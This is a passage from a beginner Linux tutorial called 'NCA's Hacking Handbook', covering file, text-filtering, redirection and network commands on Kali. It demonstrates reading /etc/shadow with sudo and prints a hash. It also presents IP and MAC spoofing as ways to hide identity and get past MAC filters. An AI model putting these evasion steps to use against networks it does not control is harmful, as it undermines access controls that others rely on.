are excluded by default. To reveal such hidden files, you need to use the -a
switch with the ls command, which lists all entries, including hidden ones.
38
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -a
. .. .hidden_file
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -la
total 8
drwxr-xr-x 2 kali kali 4096 Feb 23 06:54 .
drwx------ 15 kali kali 4096 Feb 23 06:36 ..
-rw-rw-r-- 1 kali kali
0 Feb 23 06:54 .hidden_file
You can also combine switches, as in ls -la . In this case, the -a switch will
reveal hidden files, while the -l switch presents the output in a detailed longlisting format, displaying additional information such as file permissions, ownership,
size, and modification date.
Referencing Manual Pages with man
In Linux, both man and help commands provide information about how to use
various commands, but they serve different purposes. The help command is
specifically designed for built-in shell commands, such as cd , exit , or echo . It
offers a brief overview of the command’s syntax and available options, making it
useful for quick references when working with basic shell commands. However, it
doesn’t cover external commands or software installed on the system.
On the other hand, the man command (short for "manual") provides
comprehensive documentation for nearly all commands, including both built-in and
external ones like ls , grep , or ping . Unlike help , man offers detailed
information structured into sections such as NAME, SYNOPSIS, DESCRIPTION, and
EXAMPLES. This makes it particularly useful for understanding complex commands
or exploring advanced features. Additionally, man pages allow users to navigate
and search within the documentation, making it easier to find specific information.
39
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ man <command_name>
┌──(kali㉿kali)-[~/Desktop]
└─$ man ls
LS(1)
LS(1)
User Commands
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by
default). Sort entries alphabetically if none of -cf‐
tuvSUX nor --sort is specified.
Mandatory arguments to long options are mandatory for short
options too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
with -l, print the author of each file
-b, --escape
print C-style escapes for nongraphic characters
--block-size=SIZE
with -l, scale sizes by SIZE when printing them; e.g., '-block-size=M'; see SIZE format below
-B, --ignore-backups
Manual page ls(1) line 1 (press h for help or q to quit)
//..SNIP..//
In general, help is ideal for quick, straightforward guidance on built-in shell
commands, while man is better suited for in-depth documentation on both system
commands and external programs. Advanced users often rely on man when they
40
5/26/25, 7:47 PM
NCA's Hacking Handbook
need a deeper understanding of a command’s functionality, options, and usage
examples.
Finding Stuff
In Linux, the process of "finding stuff" generally refers to searching for files,
directories, or content within files. There are several tools and commands that can
help you do this efficiently. Here are some common methods:
find Command
The find command is a powerful tool for searching files and directories based on
specific conditions, such as name, type, size, or modification time.
Example:
To find all files named test.txt starting from the /home/kali/Destkop directory:
┌──(kali㉿kali)-[~/Desktop]
└─$ find /home/kali/Desktop 'test.txt'
/home/kali/Desktop
/home/kali/Desktop/.hiden_file
/home/kali/Desktop/test.txt
test.txt
locate Command
The locate command quickly finds files by searching a pre-built database of file
names. It's faster than find because it doesn't search the filesystem directly, but
the database needs to be updated with the updatedb command.
Example:
To locate a file named test.txt
41
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ locate test.txt
/home/kali/Desktop/test.txt
/usr/lib/llvm-16/build/utils/lit/tests/Inputs/config-mapdiscovery/invalid-test.txt
/usr/lib/llvm-16/build/utils/lit/tests/Inputs/lit-opts/test.txt
/usr/lib/llvm-16/build/utils/lit/tests/Inputs/reorder/new-test.txt
grep Command
The grep command in Linux is one of the most useful and powerful tools for
searching through files to find a specific string or pattern. It stands for "Global
Regular Expression Print" and works by searching through the contents of files to
match the pattern you specify.
┌──(kali㉿kali)-[~/Desktop]
└─$ grep [options] pattern [file...]
Commonly Used Options:
1.
i : Ignore case (case-insensitive search)
• Example: This will find both "apache" and "Apache" in the file.
┌──(kali㉿kali)-[/var/log/apache2]
└─$ grep -i "apache" /var/log/apache2/error.log
[Sun Feb 23 08:37:52.084404 2025] [mpm_prefork:notice] [pid
59931:tid 59931] AH00163: Apache/2.4.62 (Debian) configured -resuming normal operations
[Sun Feb 23 08:37:52.084447 2025] [core:notice] [pid 59931:tid
59931] AH00094: Command line: '/usr/sbin/apache2'
Finding Binaries
In Linux, a binary refers to an executable file, typically compiled from source code.
Binaries are machine-readable files that the operating system can directly execute.
42
5/26/25, 7:47 PM
NCA's Hacking Handbook
Common examples include commands like ls , grep , python , or custom
programs.
Binaries are usually stored in directories like:
1.
/bin : Essential command binaries for all users (e.g., ls , cp ).
2.
/usr/bin : Non-essential command binaries for all users (e.g., python , vim ).
3.
/usr/local/bin : Binaries for programs installed locally by the system
administrator.
4.
/sbin : Essential system binaries for system administration (e.g., fdisk ,
5.
/usr/sbin : Non-essential system binaries for system administration.
iptables ).
Finding Binaries with whereis
The whereis command in Linux is used to locate the binary, source, and manual
page files for a given command. It is particularly useful for finding the location of
executables (binaries).
┌──(kali㉿kali)-[/var/log/apache2]
└─$ whereis [options] <command_name>
┌──(kali㉿kali)-[/var/log/apache2]
└─$ whereis ls
ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz
The output of the whereis ls command provides the locations of the binary,
source code (if available), and manual pages for the ls command. Here's the
breakdown of the output:
Explanation:
1.
/usr/bin/ls :
• This is the binary (executable) file for the ls command. It is the program
that runs when you type ls in the terminal.
2.
/usr/share/man/man1/ls.1.gz :
43
5/26/25, 7:47 PM
NCA's Hacking Handbook
• This is the manual page (documentation) for the ls command. It is a
compressed file containing the help and usage information for ls . You can
view it using the man ls command.
What It Means:
• The whereis command is telling you:
◦ The ls binary is located at /usr/bin/ls .
◦ The manual page for ls is located at /usr/share/man/man1/ls.1.gz .
If there were source code files for ls , they would also be listed here, but in this
case, no source code is found.
Finding Binaries in the PATH with which
The which command is a simple yet powerful tool in Linux and Unix-like systems.
It helps you locate the exact path of an executable binary that is available in one of
the directories listed in your PATH environment variable. This is particularly useful
for understanding which version of a command or program is being executed when
you type it in the terminal.
┌──(kali㉿kali)-[/var/log/apache2]
└─$ which python
/usr/bin/python
EXPLANTION :
1.
/usr/bin/python :
• This is the full path to the python binary that is being executed when you
type python in the terminal.
• It tells you exactly where the python program is located on your system.
2.
/usr/bin :
• This is one of the standard directories in Linux where system-wide binaries
are stored.
44
5/26/25, 7:47 PM
NCA's Hacking Handbook
• It contains executable files for commands and programs that are available to
all users on the system.
3.
python :
• This is the name of the binary (executable file) for the Python interpreter.
About Files
Creating file with cat
The cat command in Linux is a versatile tool that can be used to create files
interactively. To create a file using cat , you start by opening the terminal and
typing the command cat > filename , where filename is the name of the file you
want to create. Once you press Enter, the terminal will allow you to type the content
you want to add to the file. You can enter multiple lines of text, and when you are
done, you press Ctrl + D to save the file and exit. For example, if you run cat >
myfile.txt and type "Hello, this is my first file created using cat," followed by
pressing Ctrl + D , a file named myfile.txt will be created with the content you
entered.
┌──(kali㉿kali)-[~/Desktop]
└─$ cat > myfile.txt
Hello, this is my first file created using cat.
┌──(kali㉿kali)-[~/Desktop]
└─$ cat myfile.txt
Hello, this is my first file created using cat.
Additionally, the cat command can be used to append content to an existing file
without overwriting it. To do this, you use the >> operator instead of > . For
instance, running cat >> myfile.txt allows you to add more lines to myfile.txt .
After typing the new content and pressing Ctrl + D , the new text will be added to
the end of the file. This makes cat a convenient tool for both creating and
modifying files directly from the terminal.
45
5/26/25, 7:47 PM
NCA's Hacking Handbook
File Creation with touch
The touch command in Linux is a versatile utility primarily designed to update the
timestamps of a file, such as its last access time and last modification time.
However, it also has a secondary and highly useful feature: if the specified file does
not already exist, touch will create an empty file by default. This dual functionality
makes touch a convenient tool for both file management and file creation.
┌──(kali㉿kali)-[~/Desktop]
└─$ touch newfile
┌──(kali㉿kali)-[~/Desktop]
└─$ cat newfile
┌──(kali㉿kali)-[~/Desktop]
└─$
• The cat command did not print anything because the file newfile was
empty.
• The touch command creates an empty file by default.
• To display content with cat , you need to add data to the file using tools like
echo , cat >> , or a text editor.
Creating files with text editors
Creating files using text editors in Linux is a common task, and there are several
text editors available for this purpose. Two of the most widely used text editors are
Nano and Vim. We will see with nano for now:
Nano
Nano is a simple, beginner-friendly text editor that is easy to use. It provides an
intuitive interface with on-screen instructions for common tasks.
46
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ nano newfile
Once inside Nano, you can start typing or editing text directly. The interface
displays helpful shortcuts at the bottom of the screen, such as:
•
•
•
^O
( Ctrl + O ): Save the file.
^X
( Ctrl + X ): Exit Nano.
^G
( Ctrl + G ): Open the help menu.
Save the File:
• To save the file, press Ctrl + O . Nano will prompt you to confirm the
filename. Press Enter to save.
Exit Nano:
• To exit Nano, press Ctrl + X . If you have unsaved changes, Nano will ask if
you want to save them before exiting.
I generally just do, nano filename then write my content there, and use CTRL +
S to save and CTRL + X to exit.
Creating a Directory (or folder ?)
The command for creating a directory in Linux is mkdir , which stands for "make
directory". This command is used to create one or more directories in the specified
location. To create a directory named newdirectory , you would enter the following
command:
47
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir newfolder
┌──(kali㉿kali)-[~/Desktop]
└─$ cd newfolder
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$
To create multiple folders (directories) in Linux, you can use the mkdir command
followed by the names of the directories you wish to create, separated by spaces.
For example, to create three folders named newfolder1 , newfolder2 , and
newfolder3 , you would use the following command:
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ mkdir newfolder1 newfolder2 newfolder3
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ ls
newfolder1 newfolder2 newfolder3
Copying Files and Folders
Copying a File
To copy files in Linux, the cp command is used. This command creates a duplicate
of the file in the specified destination while preserving the original file in its original
location. Below is an explanation of how to use the cp command, along with an
example scenario where we create a file named oldfile in the root directory
using the touch command, copy it to /home/kali/Desktop/newfolder , and
rename it during the process, all while leaving the original oldfile intact.
Basic Syntax:
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ cp <source> <destination>
48
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ sudo touch /oldfile
[sudo] password for kali:
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ cp /oldfile /home/kali/Desktop/newfolder/newfile
┌──(kali㉿kali)-[~/Desktop/newfolder]
└─$ ls
newfile newfolder1 newfolder2 newfolder3
Copying a Folder
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo mkdir /nca
[sudo] password for kali:
┌──(kali㉿kali)-[~/Desktop]
└─$ cp -r /nca /home/kali/Desktop/nca
cp -r /nca /home/kali/Desktop/nca
•
•
•
•
cp : This command is used to copy files or directories.
r : This option tells the cp
command to copy directories recursively, meaning
it will copy the directory and all its contents (files and subdirectories).
/nca : This is the source directory being copied.
/home/kali/Desktop/nca : This is the destination path where the directory will
be copied. In this case, it will copy the nca directory to the Desktop folder of
the kali user.
This command copies the entire nca directory (located in the root / ) to the
Desktop folder of the kali user.
Renaming Files and Folder
In Linux, unlike some other operating systems such as Windows, there is no
dedicated command exclusively for renaming files or directories. However, Linux
49
5/26/25, 7:47 PM
NCA's Hacking Handbook
provides a versatile command called mv (short for "move"), which serves a dual
purpose. Not only can it relocate files or directories to a different location within the
filesystem, but it can also be used to rename them. This flexibility makes the mv
command an essential tool for file and directory management.
When you use the mv command to rename a file or folder, the process involves
specifying the current name of the item and the desired new name. For instance, if
you wish to rename a file called newfile to newfile1 , you would execute the
following command:
┌──(kali㉿kali)-[~/Desktop]
└─$ touch newfile
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir newfolder
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
newfile newfolder
┌──(kali㉿kali)-[~/Desktop]
└─$ mv newfile newfile1
┌──(kali㉿kali)-[~/Desktop]
└─$ mv newfolder newfolder1
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
newfile1 newfolder1
Removing File and Directory
In Linux, managing files and directories includes the ability to remove (delete) them
when they are no longer needed. The process of removing files and directories is
straightforward but requires careful attention, as deleted items are typically not
recoverable unless you have a backup. Below is an explanation of how to remove
files and directories in Linux, along with the commands used for this purpose.
Removing Files
50
5/26/25, 7:47 PM
NCA's Hacking Handbook
To delete a file in Linux, the rm (remove) command is used. This command
permanently deletes the specified file(s) from the filesystem.
Command Syntax:
┌──(kali㉿kali)-[~/Desktop]
└─$ rm newfile1
Removing Directories
Removing directories (folders) requires a slightly different approach because
directories can contain files and subdirectories. The rmdir and rm commands are
used for this purpose, depending on whether the directory is empty or contains
files.
a. Removing Empty Directories
To delete an empty directory, the rmdir command is used. This command only
works if the directory contains no files or subdirectories.
Command Syntax:
┌──(kali㉿kali)-[~/Desktop]
└─$ rmdir newfolder1
b. Removing Non-Empty Directories
To delete a directory that contains files or subdirectories, the rm command with the
-r (recursive) option is used. This option ensures that all contents of the directory,
including subdirectories and their files, are deleted.
┌──(kali㉿kali)-[~/Desktop]
└─$ rm -r newfolder
51
5/26/25, 7:47 PM
NCA's Hacking Handbook
I guess we covered a massive number of commands on this page. Take a break,
review them, and then move on to manipulating texts on the next page of the book.
52
5/26/25, 7:47 PM
NCA's Hacking Handbook
Manipulating Texts
Now, we will move on to text manipulation, which is an important part of Linux since
we will be working with files a lot, of course.
Viewing Files
The /etc/passwd file is a critical system file in Linux that stores user account
information. Each line represents a user and contains seven colon-separated fields:
username, password (usually an x indicating the password is stored in
/etc/shadow ), user ID (UID), group ID (GID), user info (GECOS), home directory,
and login shell. For example, root:x:0:0:root:/root:/bin/bash describes the
root user with UID 0, home directory /root , and shell /bin/bash .
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
--snip--
Filtering Text
While cat displays the entire content of a file at once, which can overwhelm the
terminal when dealing with large files, more and less allow you to view the file
content screen by screen. This makes it easier to read and navigate through the file
without losing visibility of the text as it scrolls off the screen.
More
The more command is a basic paging tool that lets you scroll through a file
forward, either line by line or page by page. However, it does not support backward
53
5/26/25, 7:47 PM
NCA's Hacking Handbook
navigation, which can be limiting.
┌──(kali㉿kali)-[~/Desktop]
└─$ more /etc/ssh/sshd_config
• The more command will display the contents of the /etc/ssh/sshd_config file
one screen at a time.
• You can press Enter to scroll down line by line.
• Press Space to move to the next page.
• Press q to quit and return to the terminal.
Less
The less command is a more advanced and versatile tool. It allows both forward
and backward navigation, supports searching within the file, and is more memoryefficient as it does not load the entire file at once. This makes less the preferred
choice for viewing and analyzing large files, such as log files or configuration files.
┌──(kali㉿kali)-[~/Desktop]
└─$ less /etc/ssh/sshd_config
• The less command opens the /etc/ssh/sshd_config file in a paginated view.
• You can navigate through the file using various commands.
Key Navigation Features in less :
1. Scroll Line by Line:
• Use the Up Arrow or Down Arrow keys.
• Alternatively, press j to move down or k to move up.
2. Scroll Page by Page:
• Press Space to move forward one page.
• Press b to move backward one page.
3. Search:
54
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Press / followed by a search term (e.g., /Port ) to search forward.
• Press ? followed by a search term to search backward.
• After a search, press n to jump to the next match or N to go to the
previous match.
4. Jump to the Start or End:
• Press g to go to the start of the file.
• Press G to go to the end of the file.
5. Quit:
• Press q to exit less and return to the terminal.
head
The head command displays the first few lines of a file, with a default of 10 lines.
This is useful when you only need to inspect the beginning of a file. For example,
head -n 5 /etc/passwd would display the first 5 lines of the /etc/passwd file.
┌──(kali㉿kali)-[~/Desktop]
└─$ head -n 5 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
•
•
•
head : A command used to display the beginning of a file.
n 5 : An option for head
that tells it to show only the first 5 lines of the file.
/etc/passwd : The file being read, which contains user account information on
Unix-like systems.
Tail
The tail command displays the last few lines of a file, with a default of 10 lines.
This is useful when you only need to inspect the end of a file. For example, tail n 5 /etc/passwd would display the last 5 lines of the /etc/passwd file.
55
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ tail -n 5 /etc/passwd
postgres:x:130:132:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash
mosquitto:x:131:133::/var/lib/mosquitto:/usr/sbin/nologin
inetsim:x:132:134::/var/lib/inetsim:/usr/sbin/nologin
_gvm:x:133:136::/var/lib/openvas:/usr/sbin/nologin
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
Cut
The cut command in Unix/Linux is used to extract specific columns, fields, or
characters from text input, typically using delimiters like commas, tabs, or colons. It
is ideal for parsing structured data, such as CSV files or system files like
/etc/passwd . With options to select fields ( -f ), specify delimiters ( -d ), or
extract character ranges ( -c ), it is a powerful yet lightweight tool for text
processing and scripting tasks. Its simplicity and efficiency make it a go-to utility
for quick data extraction and manipulation.
┌──(kali㉿kali)-[~/Desktop]
└─$ cut -d':' -f1 /etc/passwd
root
daemon
bin
sys
sync
games
man
lp
mail
---snip---
1.
d':' :
• This option specifies the delimiter (separator) used in the file. In this case,
the delimiter is a colon ( : ), which is the standard separator in the
/etc/passwd file.
2.
f1 :
• This option specifies the field to extract. Here, 1 refers to the first field. In
the /etc/passwd file, the first field represents the username.
56
5/26/25, 7:47 PM
3.
NCA's Hacking Handbook
/etc/passwd :
• This is the file being processed. The /etc/passwd file stores user account
information, with each line representing a user and fields separated by
colons ( : ).
Word Count
Instead of manually counting lines or characters, we can utilize the wc command.
By using the -l option with wc , we instruct it to count only the number of lines,
providing a quick and efficient way to tally matches. This combination of tools
enhances text processing workflows, enabling precise replacements and accurate
match counting.
┌──(kali㉿kali)-[~/Desktop]
└─$ wc -l /etc/passwd
59
Not only this, but there are also numerous other commands for filtering text or
content, such as sort, sed, awk, tr, and column , we encourage you to explore
these commands independently, conduct some research, and familiarize yourself
with the various switches and options they offer. Additionally, practice using them
to solidify your understanding. It is impractical for us to cover every command and
all their switches in detail, as doing so would require an extensive amount of time.
File Descriptors and Redirections
File Descriptors and Redirections are fundamental concepts in Unix/Linux systems
that allow you to manage input and output (I/O) for commands and processes. They
provide powerful ways to control where data is read from or written to.
File Descriptors
57
5/26/25, 7:47 PM
NCA's Hacking Handbook
A file descriptor is a numeric identifier used by the operating system to access
files or I/O resources. In Unix/Linux, the following file descriptors are standard:
1. 0 (Standard Input - stdin): Used for reading input (e.g., keyboard input).
2. 1 (Standard Output - stdout): Used for writing output (e.g., terminal display).
3. 2 (Standard Error - stderr): Used for writing error messages.
Redirections
Redirection allows you to change where input comes from or where output goes. It
is done using special operators in the shell.
Common Redirection Operators
1. Redirect Standard Output ( > )
• Sends the output of a command to a file (overwrites the file).
• Example: ls > file.txt writes the output of ls to file.txt .
2. Append Standard Output ( >> )
• Appends the output of a command to a file (does not overwrite).
• Example: ls >> file.txt appends the output of ls to file.txt .
3. Redirect Standard Error ( 2> )
• Sends error messages to a file.
• Example: ls /nonexistent 2> error.log writes errors to error.log .
4. Redirect Both Standard Output and Error ( &> )
• Sends both output and errors to the same file.
• Example: ls /nonexistent &> output.log writes both output and errors to
output.log .
5. Redirect Standard Input ( < )
• Reads input from a file instead of the keyboard.
• Example: sort < file.txt sorts the contents of file.txt .
58
5/26/25, 7:47 PM
NCA's Hacking Handbook
Pipes
Pipes in Linux are used to connect the output of one command directly to the input
of another, enabling seamless data flow between commands. Represented by the
| symbol, pipes allow you to chain commands together to perform complex
operations in a single line. They are particularly useful for filtering, processing, or
transforming data without intermediate files. For example, you can use ls to list
files and pipe its output to grep to filter specific files. Pipes streamline workflows
and make command-line operations more efficient.
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo cat /etc/shadow | grep 'kali'
kali:$y$j9T$ufXTBpN1QpgwlgqRFmb/B0$/.y0ybAF4iNQXniErsDWf9QSl2HZH7LnBeRH
B4ZiQa9:20057:0:99999:7:::
The /etc/shadow file is a secure system file in Unix/Linux that stores encrypted
user password information and related account details. It is only accessible by the
root user or processes with root privileges. This file enhances security by
separating password data from the publicly readable /etc/passwd file.
1.
sudo :
• The sudo command is used to execute the following command with
superuser (root) privileges. Access to /etc/shadow requires root
permissions because it contains sensitive information.
2.
cat /etc/shadow :
• The cat command reads and outputs the contents of the /etc/shadow
file.
3.
| (Pipe):
• The pipe symbol ( | ) takes the output of the cat command and passes it
as input to the next command ( grep ).
4.
grep 'kali' :
• The grep command searches for the string kali in the input it receives. In
this case, it looks for the line in /etc/shadow that corresponds to the user
kali .
59
5/26/25, 7:47 PM
NCA's Hacking Handbook
Regular Expressions ( RegEx )
Regular expressions (RegEx) are an art of expression language to search for
patterns in text and files. They can be used to find and replace text, analyze data,
validate input, perform searches, and more.
A regular expression is a sequence of letters and symbols that form a search
pattern. In addition, regular expressions can be created with patterns called
metacharacters. Meta characters are symbols that define the search pattern but
have no literal meaning. We can use it in tools like grep or sed or others. Often
regex is implemented in web applications for the validation of user input.
┌──(kali㉿kali)-[~/Desktop]
└─$ grep -E ':[0-9]{4,}:' /etc/passwd
sync:x:4:65534:sync:/bin:/bin/sync
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
strongswan:x:103:65534::/var/lib/strongswan:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
---snip---
1.
: : Matches the colon separator.
2.
[0-9]{4,} : Matches a sequence of 4 or more digits (UIDs ≥ 1000).
3.
: : Matches the next colon separator.
Regular expressions are an extensive and intricate subject in their own right,
making it impractical to cover every aspect within the confines of this book.
Therefore, I encourage you to delve deeper into regular expressions, conduct
further research, and expand your understanding of their capabilities. Additionally, I
urge you to apply these concepts in practical scenarios to solidify your knowledge
and proficiency.
60
5/26/25, 7:47 PM
NCA's Hacking Handbook
Manage and Analyze Network
Managing networks and analyzing them are also very important parts of Linux.
Let's dive mainly into ways of analyzing networks, but we will also cover some
aspects of network management.
Ifconfig Command
(short for Interface Configuration) is a command-line tool in Unix/Linux
used to configure, manage, and diagnose network interfaces. It provides
information about network interfaces, such as IP addresses, MAC addresses,
netmasks, and network status (up/down). It is commonly used to:
ifconfig
1. View Network Interface Details: Check IP addresses, MAC addresses, and
network stats.
2. Configure Network Interfaces: Set IP addresses, enable/disable interfaces, or
modify network settings.
3. Troubleshoot Networks: Diagnose connectivity issues or verify interface
status.
61
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::28d4:c11a:a8f7:4180 prefixlen 64 scopeid
0x20<link>
ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
RX packets 3 bytes 1770 (1.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 65 bytes 6434 (6.2 KiB)
TX errors 0 dropped 5 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0
collisions 0
The output from ifconfig describes two network interfaces: eth0 and lo . The
eth0 interface is the primary Ethernet interface used for external network
communication. It is currently active ( UP ), with an IPv4 address of 10.0.2.15 , a
netmask of 255.255.255.0 , and a broadcast address of 10.0.2.255 . It also has
an IPv6 address ( fe80::28d4:c11a:a8f7:4180 ) and a MAC address
( 08:00:27:6e:13:6e ). The interface has transmitted 65 packets and received 3
packets, with no errors or collisions. On the other hand, the lo interface is the
loopback interface, used for internal communication within the system. It has an
IPv4 address of 127.0.0.1 and an IPv6 address of ::1 . It has transmitted and
received 8 packets each, with no errors. Both interfaces are active and functioning
properly, with eth0 handling external traffic and lo managing internal system
communication.
Essentially, 10.0.2.15 is a private IP address assigned to a device within a local
network. Private IP addresses, such as those in the 10.x.x.x range, are reserved
for internal use and are not routable on the public internet. This address allows the
device to communicate with other devices within the same local network while
remaining isolated from external networks.
62
5/26/25, 7:47 PM
NCA's Hacking Handbook
Checking Wireless Network Devices with
iwconfig
┌──(kali㉿kali)-[~/Desktop]
└─$ iwconfig
lo
no wireless extensions.
eth0
1.
2.
no wireless extensions.
lo : The loopback interface, which is used for internal communication, has no
wireless extensions because it is not a wireless interface.
eth0 : The Ethernet interface also has no wireless extensions, indicating it is a
wired network interface and does not support wireless functionality.
Checking Routing Tables
A routing table is a set of rules used by a device to determine where to send
network traffic. It contains information about network destinations, gateways, and
interfaces, helping the device decide the best path for data packets.
┌──(kali㉿kali)-[~/Desktop]
└─$ route -n
Kernel IP routing table
Destination
Gateway
Iface
0.0.0.0
10.0.2.2
eth0
10.0.2.0
0.0.0.0
eth0
Genmask
Flags Metric Ref
Use
0.0.0.0
UG
100
0
0
255.255.255.0
U
100
0
0
┌──(kali㉿kali)-[~/Desktop]
└─$ ip route show
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
63
5/26/25, 7:47 PM
NCA's Hacking Handbook
The output displays the routing table of the system, which defines how network
traffic is directed. The route -n command shows two entries: the first ( 0.0.0.0 )
indicates that the default gateway is 10.0.2.2 , meaning all non-local traffic is
routed through this gateway. The second entry ( 10.0.2.0 ) specifies that traffic for
the 10.0.2.0/24 network is handled directly via the eth0 interface. Similarly, the
ip route show command provides the same information in a different format,
confirming the default gateway ( 10.0.2.2 ) and the local network route
( 10.0.2.0/24 ) through eth0 . Both outputs indicate that eth0 is the active
interface for communication, with the system's IP address being 10.0.2.15 .
Testing Network Connectivity with Ping
The ping command is a network diagnostic tool used to test connectivity between
devices by sending ICMP echo requests and receiving replies. It helps verify if a
remote host or IP address is reachable, measures round-trip time (latency), and
identifies packet loss, making it essential for troubleshooting network issues.
Additionally, it can test DNS resolution by pinging domain names.
┌──(kali㉿kali)-[~/Desktop]
└─$ ping google.com
PING google.com (142.250.192.46) 56(84) bytes of data.
64 bytes from bom12s15-in-f14.1e100.net (142.250.192.46): icmp_seq=1
ttl=55 time=57.6 ms
64 bytes from bom12s15-in-f14.1e100.net (142.250.192.46): icmp_seq=2
ttl=55 time=57.0 ms
shows successful ICMP echo requests to Google's server at
142.250.192.46 . Each response includes the packet size ( 64 bytes ), sequence
number ( icmp_seq ), Time to Live ( ttl=55 ), and round-trip time ( time=57.6 ms ),
which measures latency. This confirms a stable and responsive connection to
Google's server, with low latency and no packet loss.
ping google.com
Changing Your Network Information
64
5/26/25, 7:47 PM
NCA's Hacking Handbook
Changing your IP address and other network configurations is a crucial skill,
enabling you to access various networks while appearing as a legitimate device.
For example, during penetration testing, you can modify your IP to simulate
different devices on a network, helping you test security measures without
revealing your true identity. Similarly, in scenarios like bypassing geo-restrictions,
you can change your IP to appear as if you're accessing the network from a
different region. In Linux, this is easily achieved using the ifconfig command,
making it a powerful tool for network manipulation and anonymity.
Changing IP Address
To configure the IP address, subnet mask, and broadcast address for the eth0
interface in Linux, you can use the ifconfig command. For example, to set the IP
address to 10.0.0.5 , the subnet mask to 255.255.255.0 , and the broadcast
address to 10.0.0.255 , you would run the command:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ifconfig eth0 10.0.0.5 netmask 255.255.255.0 broadcast
10.0.0.255
[sudo] password for kali:
┌──(kali㉿kali)-[~/Desktop]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.5 netmask 255.255.255.0 broadcast 10.0.0.255
inet6 fe80::28d4:c11a:a8f7:4180 prefixlen 64 scopeid
0x20<link>
ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
RX packets 14 bytes 2793 (2.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 78 bytes 7476 (7.3 KiB)
TX errors 0 dropped 5 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0
collisions 0
65
5/26/25, 7:47 PM
NCA's Hacking Handbook
This command assigns the specified IP address, defines the subnet mask for the
network, and sets the broadcast address for communication. within the local
network. After executing the command, you can verify the changes by running
ifconfig eth0 , which will display the updated network configuration for the eth0
interface. This method is useful for manually configuring network settings during
troubleshooting or testing. Let me know if you need further clarification!
Changing MAC Address
A MAC address is a unique identifier assigned to network devices, and spoofing it
can help you avoid tracking or access networks that filter devices based on MAC
addresses. For example, if a network blocks your device, you can change your
MAC address to mimic an allowed device. In Linux, you can use the macchanger
tool or the ip command, such as:
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ifconfig eth0 down
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ifconfig eth0 hw ether 00:11:22:33:44:55
